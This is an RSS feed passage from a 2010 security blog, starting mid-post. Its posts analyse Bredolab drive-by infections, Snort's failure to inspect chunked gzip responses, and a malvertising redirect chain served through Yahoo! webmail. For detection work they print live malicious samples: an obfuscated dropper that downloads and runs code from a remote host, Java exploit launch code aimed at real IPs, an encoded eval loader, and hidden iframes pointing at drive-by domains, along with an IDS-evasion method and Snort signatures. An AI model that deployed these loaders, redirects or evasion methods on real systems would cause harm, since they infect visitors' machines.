?BJFoTevaSJ%255Bo%253B%2529%255DJydoBesnoJ%252BJpserJ%255Bx%2528etirW.o%253B%2529%2528nepO.o%253B1VepyT.o%253B3VedoM.o%253B%2529llun%2528dnes.x%253B%25290%252CJ1Vdip%25261Vdi%253Fphp.emoclew%252F0808%253Aur.eydknup%252F%252F%253AptthJ%252CJTEGJ%2528nepo.x%253B%2529JPTTHLJ%252BJMX.tfosorciMJ%2528a%2BwenVx%253B%2529y%2528a%2BwenVo%253BJmaertS.BDODAJVy%253B%255DJtceJ%252BJjbOXeviJ%252BJtcAJ%255Bsiht%2BV%2Ba_%2529%2529%2528%2529%253B%253E.js%2526cscript%2B.js%2526del%2B%252Fq%2B.js%2526start.exe%257Ctaskkill%2B%252FF%2B%252FIM%2Bhelp%252A%2522.replace%2528%252FJ%252Fg%252CString.fromCharCode%252834%2529%2529.replace%2528%252FV%252Fg%252CString.fromCharCode%252861%2529%2529.replace%2528%252F_%252Fg%252CString.fromCharCode%252839%2529%2529%252C0%252C1%2529%27%29%29%3C%2Fscript%3E\"&gt;&lt;/iframe&gt;");
D6biz750 = new Array("AcroPDF.PDF", "PDF.PdfCtrl");
for(i in D6biz750){
try{
Qcdgcii = new ActiveXObject(D6biz750[i]);
if (Qcdgcii){
Xn51q1 = document.createElement("iframe");
Xn51q1.setAttribute("src", "Notes1.pdf");
document.body.appendChild(Xn51q1);
}
}catch(e){}
}
try{
if (navigator.javaEnabled()){
Efe81htb = docum?nt.createElement("iframe");
Efe81htb.setAttribute("src", "Applet1.html");
document.body.appendChild(Efe81htb);
}
}catch(e){}
try{
if (navigator.javaEnabled()){</pre>
<pre style="PADDING-LEFT: 30px">var ips = ["174.143.145.234", "184.82.38.68", "198.145.116.71", "207.191.229.166", "207.58.189.133", "212.175.45.245", "68.233.4.27"];
var ip = ips[Math.round(Math.random() * (ips.length-1) )];
var u = "http: -J-jar -J\\\\"+ip+"<a href="file://\\public\\001.jar">\\public\\001.jar</a> none";</pre>
<pre style="PADDING-LEFT: 30px">if (window.navigator.appName == "Microsoft Internet Explorer") {
var o = document.createElement("OBJECT");
o.classid = "clsid:CAFEEFAC-DEC7-0000-0000-ABCDEFFEDCBA";
o.launch(u);
} else {
var o = document.createElement("OBJECT");
var n = document.createElement("OBJECT");
o.type = "application/npruntime-scriptable-plugin;deploymenttoolkit";
n.type = "application/java-deployment-toolkit";
document.body.appendChild(o);
document.body.appendChild(n);
try {
o.launch(u);
} catch (e) {
n.launch(u);
}
}
}
}catch(e){}</pre>
<p>After this JavaScript executes properly in the browser, it then causes the client to download a PDF in the sample we have captured. Once the PDF has been downloaded and the client is vulnerable to it, the client will pull down the executable malware payload. With bredolab sucessfully installed, the client will then call home into the controller. Luckily the great people over at <a href="http://www.snort.org/snort-rules/">SourceFire&#8217;s VRT</a> have had signatures that trigger on these infections and help you clean them up quite easily for a while. The are as follows:</p>
<pre style="PADDING-LEFT: 30px">SPECIFIC-THREATS Bredolab downloader communication with server attempt
BACKDOOR rogue software xp police antivirus install-timedetection</pre>
<p>The signatures that we have written to detect the drive by&#8217;s and redirects to them are as follows. These have been published to the Emerging Threats mailing list a while back, however these are what we run for our client to help us find this stuff. The false positive rates are very low except for the first signature as some people download lists of malicious sites from web servers and that causes that sig to fire. You can easily identify those and get rid of the FP&#8217;s with the threshold.conf file in Snort however:</p>
<pre style="PADDING-LEFT: 30px">alert tcp $EXTERNAL_NET $HTTP_PORTS -&gt; $HOME_NET any (msg:"DRIVEBY bredolab - server response contains .ru:8080/index.php?"; flow:established,to_client; content:".ru:8080/index.php?"; classtype:bad-unknown; sid:5600083; rev:1;)
alert tcp $HOME_NET any -&gt; $EXTERNAL_NET $HTTP_PORTS (msg:"DRIVEBY bredolab - cookie: pid=1"; flow:established,to_server; content:"pid=1|0D|"; http_cookie; classtype:bad-unknown; sid:5600084; rev:1;)
alert tcp $HOME_NET any -&gt; $EXTERNAL_NET $HTTP_PORTS (msg:"DRIVEBY bredolab - jquery.jxx"; flow:established,to_server; content:"/jquery.jxx?v="; http_uri; classtype:bad-unknown; sid:5600085; rev:1;)
alert tcp $HOME_NET any -&gt; $EXTERNAL_NET $HTTP_PORTS (msg:"DRIVEBY bredolab - request to a *.ru:8080 URI"; flow:established,to_server; content:".ru:8080|0D 0A|"; http_header; classtype:bad-unknown; sid:5600086; rev:1;)
alert tcp $EXTERNAL_NET $HTTP_PORTS -&gt; $HOME_NET any (msg:"DRIVEBY bredolab - hidden div served by nginx"; flow:established,to_client; content:"Server: nginx"; http_header; content:"&lt;div style=\"visibility: hidden\;\"&gt;&lt;"; depth:120; classtype:bad-unknown; sid:5600089; rev:1;)</pre>
]]></content:encoded>
			<wfw:commentRss>http://trojanedbinaries.com/blog/?feed=rss2&amp;p=188</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Who Needs SSL? Evading IDS With Apache mod_gzip and Chunked Encoding</title>
		<link>http://trojanedbinaries.com/blog/?p=186</link>
		<comments>http://trojanedbinaries.com/blog/?p=186#comments</comments>
		<pubDate>Thu, 12 Aug 2010 21:44:11 +0000</pubDate>
		<dc:creator>Eoin Miller</dc:creator>
				<category><![CDATA[IDS]]></category>
		<category><![CDATA[Malvertising]]></category>

		<guid isPermaLink="false">http://trojanedbinaries.com/blog/?p=186</guid>
		<description><![CDATA[<p>After getting a bit frustrated a little while ago while attempting to write a signature for some hidden iframe&#8217;s that were redirecting clients to drive by sites, I started digging around a bit more and even posted over on the Snort-Users mailing list and found out something a little terrifying from the guys over at SourceFire. Snort [...]]]></description>
			<content:encoded><![CDATA[<p>After getting a bit frustrated a little while ago while attempting to write a signature for some hidden iframe&#8217;s that were redirecting clients to drive by sites, I started digging around a bit more and even posted over on the <a href="https://lists.sourceforge.net/lists/listinfo/snort-users">Snort-Users mailing list</a> and found out something a little terrifying from the guys over at <a href="http://www.sourcefire.com">SourceFire</a>. <a href="http://www.snort.org/">Snort</a> (or <a href="http://openinfosecfoundation.org/index.php/downloads">Suricata</a> for that matter) will not actually gunzip HTTP that is gzip&#8217;d if it has been transferred with chunked encoding. Now, you may be thinking to yourself &#8220;that&#8217;s not true, I totally have my http_inspect configured the way it comes with the VRT rulset downloads and it has gzip and chunked encoding configuration options enabled!&#8221;. Well, unfortunately the current logic of the program will dechunk the data and then run the signatures against the dechunked (but still gzip&#8217;d) data and then it discards the gzip&#8217;d data and moves onto the next packet. One would hope that the logic would be updated to detected if HTTP body is chunked+gzip&#8217;d, then dechunk-&gt;gunzip-&gt;compare against signatures. This will obviously actually allow people to reliably inspect the body of an HTTP response intead of attempting to rely upon only being able to write sigs on the compressed content of the body, however there may be some instances where this is beneficial. The trouble is this is a large amount of traffic and do you want to (or have) the processor cycles to compare the gzip&#8217;d data and then the gunzip&#8217;d data. Below we will go through the process step by step to demonstrate this issue. Here we have our response packet which you can see is chunked and compressed with gzip (as is indicated in the HTTP headers):</p>
<pre style="TEXT-ALIGN: left; PADDING-LEFT: 30px">00000000  48 54 54 50 2f 31 2e 31  20 32 30 30 20 4f 4b 0d HTTP/1.1  200 OK.
00000010  0a 53 65 72 76 65 72 3a  20 6e 67 69 6e 78 2f 30 .Server:  nginx/0
00000020  2e 36 2e 33 39 0d 0a 44  61 74 65 3a 20 4d 6f 6e .6.39..D ate: Mon
00000030  2c 20 31 32 20 4a 75 6c  20 32 30 31 30 20 31 38 , 12 Jul  2010 18
00000040  3a 30 37 3a 31 30 20 47  4d 54 0d 0a 43 6f 6e 74 :07:10 G MT..Cont
00000050  65 6e 74 2d 54 79 70 65  3a 20 74 65 78 74 2f 68 ent-Type : text/h
00000060  74 6d 6c 0d 0a 54 72 61  6e 73 66 65 72 2d 45 6e tml..<span style="color: #ff0000;">Tra nsfer-En</span>
00000070  63 6f 64 69 6e 67 3a 20  63 68 75 6e 6b 65 64 0d <span style="color: #ff0000;">coding:  chunked</span>.
00000080  0a 43 6f 6e 6e 65 63 74  69 6f 6e 3a 20 6b 65 65 .Connect ion: kee
00000090  70 2d 61 6c 69 76 65 0d  0a 58 2d 50 6f 77 65 72 p-alive. .X-Power
000000A0  65 64 2d 42 79 3a 20 50  48 50 2f 35 2e 31 2e 36 ed-By: P HP/5.1.6
000000B0  0d 0a 43 6f 6e 74 65 6e  74 2d 45 6e 63 6f 64 69 ..<span style="color: #ff0000;">Conten t-Encodi</span>
000000C0  6e 67 3a 20 67 7a 69 70  0d 0a 0d 0a 61 0d 0a 1f <span style="color: #ff0000;">ng: gzip</span> ....a...
000000D0  8b 08 00 00 00 00 00 00  03 0d 0a 31 33 30 0d 0a ........ ...130..
000000E0  bd 52 cb 4e c4 30 0c bc  ef 57 44 b9 04 24 da 74 .R.N.0.. .WD..$.t
000000F0  d9 07 85 4d 7a 44 82 03  1c e0 07 d2 d6 6d 22 d2 ...MzD.. .....m".
00000100  64 37 75 f7 f1 f7 a4 dd  15 42 20 ae f8 64 8f 3d d7u..... .B ..d.=
00000110  1e 6b 64 a1 b1 b3 85 d0  a0 ea 62 26 3a 40 45 34 .kd..... ..b&amp;:@E4
00000120  e2 36 81 dd 60 f6 92 56  de 21 38 4c f0 b4 05 4a .6..`..V .!8L...J
00000130  2e 95 a4 08 47 e4 23 73  43 2a ad 42 0f 28 9f de ....G.#s C*.B.(..
00000140  5e 93 3c 5f dd 27 73 1a  17 a1 41 0b c5 32 5b 92 ^.&lt;_.'s. ..A..2[.
00000150  17 8f e4 d1 0f ae 16 fc  0c 0a 3e 89 89 d2 d7 27 ........ ..&gt;....'
00000160  52 b6 95 b7 3e 48 7a d0  06 61 64 56 51 0e 42 bc R...&gt;Hz. .adVQ.B.
00000170  68 fe 93 1e 11 c1 2f ed  99 d0 71 e6 52 b8 d6 b8 h...../. ..q.R...
00000180  23 cf d2 75 ba 58 7d 9b  e0 a3 42 31 fb ff f8 65 #..u.X}. ..B1...e
00000190  23 0b d0 04 e8 35 fb 72  90 dd 6d 86 60 e5 68 f5 #....5.r ..m.`.h.
000001A0  03 e7 25 58 6b 2a df c3  47 9e 1a d7 78 be cb 7b ..%Xk*.. G...x..{
000001B0  ce 0a d1 57 c1 6c 91 58  e5 da 41 b5 20 e9 b3 da ...W.l.X ..A. ...
000001C0  ab b7 09 a4 05 e9 c1 36  69 e7 f7 f0 ee af 16 d9 .......6 i.......
000001D0  72 7d b3 c8 56 eb eb 0d  11 fc cc 8b 66 9a 26 a8 r}..V... ....f.&amp;.
000001E0  0e 48 1f 2a c9 fe d2 72  b7 96 33 72 30 35 6a c9 .H.*...r ..3r05j.
000001F0  e6 8c 68 30 ad c6 29 9d  d8 a5 0f 35 04 c9 b2 78 ..h0..). ...5...x
00000200  10 3f 2f 8c c9 f4 36 9f  04 6b bf 18 3d 02 00 00 .?/...6. .k..=...
00000210  0d 0a 30 0d 0a 0d 0a                             ..0....</pre>
<p style="TEXT-ALIGN: left">Here we have extract the chunked body of this response (which is still compressed with gzip) and if we look at it at this point, we notice there really isn&#8217;t anything in here our sigs are going to fire on. However since the http_inspect preprocessor has dechunked the data to this buffer, it will compare the signatures at this point without gunzip&#8217;ing it. Once comparison is complete it is on to the next packet:</p>
<pre style="PADDING-LEFT: 30px">0000   1f 8b 08 00 00 00 00 00 00 03 bd 52 cb 4e c4 30  ...........R.N.0
0010   0c bc ef 57 44 b9 04 24 da 74 d9 07 85 4d 7a 44  ...WD..$.t...MzD
0020   82 03 1c e0 07 d2 d6 6d 22 d2 64 37 75 f7 f1 f7  .......m".d7u...
0030   a4 dd 15 42 20 ae f8 64 8f 3d 1e 6b 64 a1 b1 b3  ...B ..d.=.kd...
0040   85 d0 a0 ea 62 26 3a 40 45 34 e2 36 81 dd 60 f6  ....b&amp;:@E4.6..`.
0050   92 56 de 21 38 4c f0 b4 05 4a 2e 95 a4 08 47 e4  .V.!8L...J....G.
0060   23 73 43 2a ad 42 0f 28 9f de 5e 93 3c 5f dd 27  #sC*.B.(..^.&lt;_.'
0070   73 1a 17 a1 41 0b c5 32 5b 92 17 8f e4 d1 0f ae  s...A..2[.......
0080   16 fc 0c 0a 3e 89 89 d2 d7 27 52 b6 95 b7 3e 48  ....&gt;....'R...&gt;H
0090   7a d0 06 61 64 56 51 0e 42 bc 68 fe 93 1e 11 c1  z..adVQ.B.h.....
00a0   2f ed 99 d0 71 e6 52 b8 d6 b8 23 cf d2 75 ba 58  /...q.R...#..u.X
00b0   7d 9b e0 a3 42 31 fb ff f8 65 23 0b d0 04 e8 35  }...B1...e#....5
00c0   fb 72 90 dd 6d 86 60 e5 68 f5 03 e7 25 58 6b 2a  .r..m.`.h...%Xk*
00d0   df c3 47 9e 1a d7 78 be cb 7b ce 0a d1 57 c1 6c  ..G...x..{...W.l
00e0   91 58 e5 da 41 b5 20 e9 b3 da ab b7 09 a4 05 e9  .X..A. .........
00f0   c1 36 69 e7 f7 f0 ee af 16 d9 72 7d b3 c8 56 eb  .6i.......r}..V.
0100   eb 0d 11 fc cc 8b 66 9a 26 a8 0e 48 1f 2a c9 fe  ......f.&amp;..H.*..
0110   d2 72 b7 96 33 72 30 35 6a c9 e6 8c 68 30 ad c6  .r..3r05j...h0..
0120   29 9d d8 a5 0f 35 04 c9 b2 78 10 3f 2f 8c c9 f4  )....5...x.?/...
0130   36 9f 04 6b bf 18 3d 02 00 00                    6..k..=...</pre>
<p>However we can gunzip this extracted data, we get the following which has some stuff we are very interested in attempting to signature on, mainly a hidden iframe redirecting a client to a drive by site:</p>
<pre style="PADDING-LEFT: 30px">0000   3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 6d 65  &lt;html&gt;&lt;head&gt;.&lt;me
0010   74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63  ta http-equiv="c
0020   6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e  ontent-type" con
0030   74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b  tent="text/html;
0040   20 63 68 61 72 73 65 74 3d 49 53 4f 2d 38 38 35   charset=ISO-885
0050   39 2d 31 22 3e 0a 3c 74 69 74 6c 65 3e 34 30 34  9-1"&gt;.&lt;title&gt;404
0060   20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c   Not Found&lt;/titl
0070   65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 20 62  e&gt;&lt;/head&gt;&lt;body b
0080   67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0a  gcolor="white"&gt;.
0090   3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20  &lt;center&gt;&lt;h1&gt;404
00a0   4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f  Not Found&lt;/h1&gt;&lt;/
00b0   63 65 6e 74 65 72 3e 0a 3c 68 72 3e 3c 63 65 6e  center&gt;.&lt;hr&gt;&lt;cen
00c0   74 65 72 3e 6e 67 69 6e 78 2f 30 2e 36 2e 33 35  ter&gt;nginx/0.6.35
00d0   3c 2f 63 65 6e 74 65 72 3e 0a 3c 2f 62 6f 64 79  &lt;/center&gt;.&lt;/body
00e0   3e 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a  &gt;...............
00f0   0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a  ................
0100   0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a  ................
0110   0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a  ................
0120   0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a  ................
0130   0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a  ................
0140   0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a  ................
0150   0a 0a 0a 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65  ....&lt;meta http-e
0160   71 75 69 76 3d 27 72 65 66 72 65 73 68 27 20 63  quiv='refresh' c
0170   6f 6e 74 65 6e 74 3d 27 37 3b 75 72 6c 3d 68 74  ontent='7;url=ht
0180   74 70 3a 2f 2f 62 65 6c 6c 69 63 6f 73 65 6b 38  tp://bellicosek8
0190   2e 69 6e 66 6f 2f 71 38 73 2f 27 3e 3c 73 63 72  .info/q8s/'&gt;&lt;scr
01a0   69 70 74 20 6c 61 6e 67 75 61 67 65 3d 22 4a 61  ipt language="Ja
01b0   76 61 53 63 72 69 70 74 22 3e 20 73 65 6c 66 2e  vaScript"&gt; self.
01c0   6d 6f 76 65 54 6f 28 33 30 34 36 2c 33 30 35 36  moveTo(3046,3056
01d0   29 3b 20 3c 2f 73 63 72 69 70 74 3e 0a 3c 69 66  ); &lt;/script&gt;.&lt;if
01e0   72 61 6d 65 20 73 72 63 3d 27 68 74 74 70 3a 2f  rame src='http:/
01f0   2f 62 65 6c 6c 69 63 6f 73 65 6b 38 2e 69 6e 66  /bellicosek8.inf
0200   6f 2f 6e 32 6c 2f 27 20 77 69 64 74 68 3d 27 31  o/n2l/' width='1
0210   27 20 68 65 69 67 68 74 3d 27 31 27 20 66 72 61  ' height='1' fra
0220   6d 65 62 6f 72 64 65 72 3d 27 30 27 3e 3c 2f 69  meborder='0'&gt;&lt;/i
0230   66 72 61 6d 65 3e 3c 2f 68 74 6d 6c 3e           frame&gt;&lt;/html&gt;</pre>
<p>Or the following in just plain old printable HTML output:</p>
<pre style="PADDING-LEFT: 30px">&lt;html&gt;&lt;head&gt;
&lt;meta http-equiv="content-type" content="text/html; charset=ISO-8859-1"&gt;
&lt;title&gt;404 Not Found&lt;/title&gt;&lt;/head&gt;&lt;body bgcolor="white"&gt;
&lt;center&gt;&lt;h1&gt;404 Not Found&lt;/h1&gt;&lt;/center&gt;
&lt;hr&gt;&lt;center&gt;nginx/0.6.35&lt;/center&gt;
&lt;/body&gt;</pre>
<pre style="PADDING-LEFT: 30px">&lt;meta http-equiv='refresh' content='7;url=http://bellicosek8.info/q8s/'&gt;&lt;script language="JavaScript"&gt; self.moveTo(3046,3056); &lt;/script&gt;
&lt;<span style="color: #ff0000;">iframe</span> src='http://bellicosek8.info/n2l/' width='1' height='1' frameborder='0'&gt;&lt;/<span style="color: #ff0000;">iframe</span>&gt;&lt;/html&gt;</pre>
<p>So in testing, we wrote the most simple of signatures looking for just the string &#8220;iframe&#8221; with our sample PCAP we had. The signature was as follows:</p>
<pre>alert tcp any any -&gt;  any any (msg:"MALVERTISING hidden iframe served by nginx 2"; content:"<span style="color: #ff0000;">iframe</span>"; nocase; classtype:bad-unknown; sid:5600066; rev:1;)</pre>
<p>So when we look at the output to the console, we see that we get zero alerts which should not be the case. Below we take a look at the output from Snort regarding http_inspect while we were running against this PCAP we were using for testing purposes. Here we notice something odd, there is a number for &#8220;HTTP Response Gzip packets extracted&#8221; and also &#8220;Gzip Compressed Data Processed&#8221; but the value for &#8220;Gzip Decompressed Data Processed&#8221; is &#8220;0.00&#8243;.</p>
<pre style="PADDING-LEFT: 30px">HTTP Inspect - encodings (Note: stream-reassembled packets included):
     POST methods:                         0
     GET methods:                          2
     HTTP Request Headers extracted:       2
     HTTP Request Cookies extracted:       0
     Post parameters extracted:            0
     HTTP response Headers extracted:      2
     HTTP Response Cookies extracted:      0
     Unicode:                              0
     Double unicode:                       0
     Non-ASCII representable:              0
     Base 36:                              0
     Directory traversals:                 0
     Extra slashes ("//"):                 0
     Self-referencing paths ("./"):        0
<span style="color: #ff0000;">     HTTP Response Gzip packets extracted: 2
     Gzip Compressed Data Processed:       331.00
     Gzip Decompressed Data Processed:     0.00 </span>
     Total packets processed:              4</pre>
<p>So it appears that Snort&#8217;s http_inspect does indeed identfy and extract the gzip&#8217;d packets, however it does not unzip the packet and inspect it if it was transferred via chunked encoding. Below is the section of the snort.conf file regarding http_inspect that was used during testing. This should be the same configuration as you receive from the snort.conf file contained within the <a href="http://www.snort.org/snort-rules/">VRT ruleset</a> you download from <a href="http://www.snort.org">Snort.org</a>. Note that we definately have this configured to decompress, dechunk and inspect gzip&#8217;d data (all highlighted in red) and the numbers for each of these variables in the configurations are much much larger than anything we are dealing with in the example PCAP.</p>
<pre style="PADDING-LEFT: 30px">preprocessor http_inspect: global iis_unicode_map unicode.map 1252 <span style="color: #ff0000;">compress_depth 20480 decompress_depth 20480</span>
preprocessor http_inspect_server: server default \
     <span style="color: #ff0000;">chunk_length 500000</span> \
     server_flow_depth 0 \
     client_flow_depth 0 \
     post_depth 65495 \
         oversize_dir_length 500 \
     max_header_length 750 \
     max_headers 100 \
     ports { 80 1220 2301 3128 7777 7779 8000 8008 8028 8080 8180 8888 9999 }\
     non_rfc_char { 0x00 0x01 0x02 0x03 0x04 0x05 0x06 0x07 } \
     enable_cookie \
     extended_response_inspection \
     <span style="color: #ff0000;">inspect_gzip</span> \
     apache_whitespace no \
     ascii no \
     bare_byte no \
         directory no \
         double_decode no \
         iis_backslash no \
         iis_delimiter no \
         iis_unicode no \
         multi_slash no \
         non_strict \
         u_encode yes \
         webroot no</pre>
<p>Unfortunately, quite a bit of gzip&#8217;d content is transmitted over chunked encoding. This is due to the fact that chunked encoding is used when the content length of the data being sent to the client from the server is unknown. Generally when you are compressing data on the fly to deliver to a client the webserver will end up using this method since it can&#8217;t compute how large the response is going to be until after it has already started sending data back to the client. Hopefully functionality will be added to remedy the inability to inspect these types of HTTP responses, because this is currently being leveraged to evade IDS quite frequently by many different types of FakeAV, drive by and malvertising sites in the wild.</p>
]]></content:encoded>
			<wfw:commentRss>http://trojanedbinaries.com/blog/?feed=rss2&amp;p=186</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>Anatomy of Malicious Advertising Redirecting Clients to Drive-By Attack Sites</title>
		<link>http://trojanedbinaries.com/blog/?p=177</link>
		<comments>http://trojanedbinaries.com/blog/?p=177#comments</comments>
		<pubDate>Fri, 06 Aug 2010 21:41:28 +0000</pubDate>
		<dc:creator>Eoin Miller</dc:creator>
				<category><![CDATA[Malvertising]]></category>

		<guid isPermaLink="false">http://trojanedbinaries.com/blog/?p=177</guid>
		<description><![CDATA[<p>Below we have a user whom has done something millions upon millions of people do every day, login to their Yahoo! webmail. However, this time around Yahoo! is going to let someone they have a business relationship with attempt to exploit them and deliver malicious software into their computer. Upon visiting the site, Yahoo! will [...]]]></description>
			<content:encoded><![CDATA[<p>Below we have a user whom has done something millions upon millions of people do every day, login to their Yahoo! webmail. However, this time around Yahoo! is going to let someone they have a business relationship with attempt to exploit them and deliver malicious software into their computer. Upon visiting the site, Yahoo! will cause the client to make the following request to a malvertising server (c3metrics.net). Please note that the referer in the below request is a web service that routes the client to the advertisement to display to the clients logging in to the Yahoo! webmail service, if you directly visit it and read the JavaScript comments you can validate this:</p>
<pre>GET /jsc/fm.js?n=162&amp;c=24/1&amp;d=14&amp;s=23&amp;w=1&amp;h=1&amp;nc=1275511688&amp;l=&amp;z= HTTP/1.1
Accept: */*
Referer: http://us.mc1117.mail.yahoo.com/mc/md.php?en=CP1252&amp;v=1
Accept-Language: en-us
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; &lt;REMOVED&gt;)
Host: c3metrics.net
Connection: Keep-Alive</pre>
<p>The response to this request will be an HTTP 301 status code that will cause a redirect from the above URI to the below, they are nearly identical except for a single backslash between the fm.js and the ?n:</p>
<pre>HTTP/1.1 301 Moved Permanently
Server: nginx/0.8.45
Date: Mon, 02 Aug 2010 &lt;REMOVED&gt;
Content-Type: text/html
Content-Length: 185
Location: http://c3metrics.net/jsc/fm.js/?n=162&amp;c=24/1&amp;d=14&amp;s=23&amp;w=1&amp;h=1&amp;nc=1275511688&amp;l=&amp;z=
Connection: keep-alive</pre>
<pre>&lt;html&gt;
&lt;head&gt;&lt;title&gt;301 Moved Permanently&lt;/title&gt;&lt;/head&gt;
&lt;body bgcolor="white"&gt;
&lt;center&gt;&lt;h1&gt;301 Moved Permanently&lt;/h1&gt;&lt;/center&gt;
&lt;hr&gt;&lt;center&gt;nginx/0.8.45&lt;/center&gt;
&lt;/body&gt;
&lt;/html&gt;</pre>
<p> Now the user is following the redirected URI it received:</p>
<pre>Request:
GET /jsc/fm.js/?n=162&amp;c=24/1&amp;d=14&amp;s=23&amp;w=1&amp;h=1&amp;nc=1275511688&amp;l=&amp;z= HTTP/1.1
Accept: */*
Referer: http://us.mc1117.mail.yahoo.com/mc/md.php?en=CP1252&amp;v=1
Accept-Language: en-us
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; &lt;REMOVED&gt;)
Host: c3metrics.net
Connection: Keep-Alive</pre>
<p>However, this time around the malvertising server is going to serve the client some JavaScript that is obfuscated in order to escape detection or analysis by various types of network based network security tools (IDS,IPS, etc):</p>
<pre>HTTP/1.1 200 OK
Server: nginx/0.8.45
Date: Mon, 02 Aug 2010 &lt;REMOVED&gt;
Content-Type: text/html
Connection: keep-alive
X-Powered-By: PHP/5.2.13
Content-Length: 3572</pre>
<pre>var _MlgYp=new String('evafeds'.substr(0,3)+'bruller'.substr(3,1));var RUOR=this;var JXzn_=RUOR [_MlgYp];var CVXMF_s=new String('unescape');var uhbnP=RUOR [CVXMF_s];var IBpC='PrMPdkPd=PJOPd=PJ/PJkPd=PJgPJsParPkgParPa2PJqPJiPddParP==PJOPd=PJiPa2PJqPJiPddParP==PJOPd=PJiPa2Pa/PaqPJdPJiPd=P=JPdiPJsPJsPi/PJiPJOPdaPa2Pa/PasParPkrPasParPkOPasParPkrPasParPkrPasParPkrPasParPkrPa/ParPagParPJqPJiPddParP==PJOPd=PJiPa2PJqPJiPddParP==PJOPd=PJiPa2PJqPJiPddParP==PJOPd=PJiPa2Pa/PaqPJdPJiPd=P=JPdiPJsPJsPi/PJiPJOPdaPa2Pa/PasParPkrPasParPkOPasParPkrPasParPkrPasParPkrPasParPkrPa/PaqPd=PJ3P=dP=gPi=PikPd=PdaPJ/PJqPJdPa2Pa/PaqPdkPdiPJaPdkPd=PdaPJ/PJqPJdPa2PkrPasParPJqPJiPddParP==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PaaPa/Pa/PkmPrMPrMPrMPdgPrMPrMPJ=PJ3PJkPdiPJgPJiPJqPd=PaqPddPdaPJ/Pd=PJiPa2PdiPJqPJiPdkPJkPJOPdrPJiPa2PaaPaiPkkP=kPJOParPJ2PdaPJiPJJPkgPadPJ2Pd=Pd=PdrPaiPkkP=OPaiPkaP=JPaiPkaP=JPd=PdaPJOPJkPJmPJ/PJqPJdPaqPJkPJ3PJgPadParPd=PJOPdaPJdPJiPd=PkgPadPi3PJaPJsPJOPJqPJmPadPaiPkkP=iPaiPkkP=kPJ/PJgPJdParPdkPdaPJkPkgPadPJ2Pd=Pd=PdrPkMPa3Pa3PJkPkkPJgPJiPd=PdaPJ/PJkPdkPaqPJqPJiPd=Pa3PJaPJ=PJaPa3PdrPJ/Pd2PJiPJsPaqPJdPJ/PJJPadParPJaPJ3PdaPJ=PJiPdaPkgPadPkrPadParPaiPkkP=iPaiPkkP=kPa3PJOPaiPkkP=iPaaPa/Pa/PkmPrMPrMPrM';var jlgkds='C9H6fshixZO4/NBSIeX:=PapknRrc1D0vM3A.T&amp;gQGJ82K?t7yYVbu_-Wwqo%jUmElLdzF5';var GaJhym='s/0JF%4zlEe=Y5mVTxIK6wuDjQ-t?OgrASkMfhB9.Xn2avo:dGL&amp;HWU7cyR1PC_bqN8Zp3i';var _jNcLS='';var TOZI;var DdC;for(TOZI=0;TOZI&lt;IBpC.length;TOZI++){ DdC=GaJhym.indexOf(IBpC.charAt(TOZI));if(DdC&gt;-1){ _jNcLS+=jlgkds.charAt(DdC);}}JXzn_(uhbnP(_jNcLS));</pre>
<p>Now this JavaScript does just look like a lot of junk, but it is pretty easy to deobfuscate it using tools like the FireFox FireBug extention or great online tools like JSUnpack. We have submitted the following JavaScript to JSUnpack and the report can be viewed here:<br />
<a href="http://jsunpack.jeek.org/dec/go?report=7bff4237dbcb5448c08c5c3b40f4c1d0a97c889b">http://jsunpack.jeek.org/dec/go?report=7bff4237dbcb5448c08c5c3b40f4c1d0a97c889b</a></p>
<p>The output we are concerned with about this report is write here, this is what ends up being written into the HTML document. Please do not go to the below URL&#8217;s unless you are attempting to perform research within your sandboxes or sacrificial lambs:</p>
<pre>&lt;iframe src='http://wilstose.co.cc/zmtrc.php?pq=cust1' style='visibility:hidden;' width='1' height='1'&gt;&lt;/iframe&gt;
&lt;iframe src='http://c3metrics.net/stats_js_e.php?id=&lt;REMOVED&gt;' style='visibility:hidden;' width='1' height='1'&gt;&lt;/iframe&gt;
&lt;a href='http://tracking.com' target='_blank'&gt;&lt;img src='http://c3metrics.net/bdb/pixel.gif' border='0'&gt;&lt;/a&gt;</pre>
<p>Now, at this point the client will perform requests to the URI&#8217;s in the two IFRAME&#8217;s along with the gif. First we will look at the request to the stats_js_e.php file which is purely used for tracking purposes. The id= variable that is passed to it is a simple UNIX timestamp. We have removed it from our examples here (but it is obviously still available in the jsunpack report if you care to see it).</p>
<pre>GET /stats_js_e.php?id=&lt;REMOVED&gt; HTTP/1.1
Accept: image/gif, image/jpeg, image/pjpeg, image/pjpeg, application/x-shockwave-flash, application/x-ms-application, application/x-ms-xbap, application/vnd.ms-xpsdocument, application/xaml+xml, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, */*
Referer: http://us.mc1117.mail.yahoo.com/mc/md.php?en=CP1252&amp;v=1
Accept-Language: en-us
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; &lt;REMOVED&gt;)
Host: c3metrics.net
Connection: Keep-Alive</pre>
<p>As you can see, the response to this will not contain anything as it is just for statistics and tracking purposes:</p>
<pre>HTTP/1.1 200 OK
